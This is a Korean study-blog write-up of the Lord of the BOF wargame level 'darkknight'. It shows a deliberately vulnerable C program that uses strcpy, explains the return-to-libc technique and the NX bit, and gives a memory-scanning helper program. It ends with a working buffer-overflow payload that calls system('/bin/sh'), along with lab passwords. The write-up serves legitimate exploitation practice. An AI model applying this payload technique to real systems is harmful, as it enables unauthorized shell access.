yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 13번 풀이 (darkknight) 본문

wargame 풀이/LOB

LOB 13번 풀이 (darkknight)

yehey 2020. 12. 30. 15:06
id: darkknight
pw: new attacker
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

  • argc<2
  • strcpy 취약점 이용
  • argv[1][47]이 '\xbf' 가 되면 안됨 (stack이 날 버렸다..)
  • 힌트: RTL

지금까지 BOF 문제를 풀면서 우리는 대부분 ret에 0xbfff로 시작하는 값을 넣었다.

하지만 이번에는 ret가 '0xbf'로 시작한다면 프로그램이 종료하고 만다.

따라서 우리가 사용하던 stack이 아닌 다른 곳을 이용해서 공격을 시도해야할 것 같다.

마침 힌트에 RTL이라고 적혀있다.

 

RTL (Return-To-Libc) ?
메모리에 미리 적재되어 있는 공유 라이브러리를 이용해서 바이너리에 원하는 함수가 없어도 공유 라이브러리에서 원하는 함수를 사용해서 공격하는 기법
-NX bit를 우회하기 위해 사용된다.

NX bit
stack 세그멘트의 실행권한을 제한해서 stack에 쉘 코드를 저장하고 실행하는 것을 막는 메모리 보호 기법

공유 라이브러리 영역에 있는 함수 중 공격에 사용할 함수는 system() 함수다.

system 함수는 OS의 명령어나 외부의 실행 파일을 실행할 때 사용한다.

system 함수를 이용해서 쉘을 띄울 것이기 때문에 함수의 인자로 '/bin/sh' 를 넣어주어야한다.

그렇기 때문에 system 함수의 인자 자리에도 '/bin/sh' 문자열의 주소를 넣어주어야 한다.

 

따라서 우리가 찾아야하는 주소는 총 2가지다!

1. system 함수의 주소

2. '/bin/sh' 문자열의 주소

 

먼저 gdb를 이용해서 system 함수의 주소를 찾아보자

 

system 함수의 주소는 0x40058ae0 이다.

이제 system 함수의 인자 '/bin/sh' 문자열의 주소를 구해보자

 

system 함수 내부에는 '/bin/sh'문자열이 이미 존재하기 때문에 shell에 system 함수의 주소를 넣고 while 문을 돌려서 '/bin/sh'과 같을 때 그 주소를 찾아내서 출력하게 했다.

#include <stdio.h>

int main(){
        long shell=0x40058ae0;
        while(memcmp((void*)shell,"/bin/sh",8)){
                shell++;
        }
        printf("'/bin/sh' addr: %x\n",shell);
        return 0;
}

'/bin/sh' 문자열 주소는 0x400fbff9 이다.

 

이제 ret에는 system 함수의 주소를 넣고, system 함수의 인자 자리에는 '/bin/sh' 주소를 넣어주자

payload: ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`

 

 

bugbear 의 pw: "new divide"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 15번 풀이 (giant)  (0) 2021.01.01
LOB 14번 풀이 (bugbear)  (0) 2020.12.31
LOB 12번 풀이 (golem)  (0) 2020.12.30
LOB 11번 풀이 (skeleton)  (0) 2020.11.24
LOB 10번 풀이 (vampire)  (0) 2020.11.22
Comments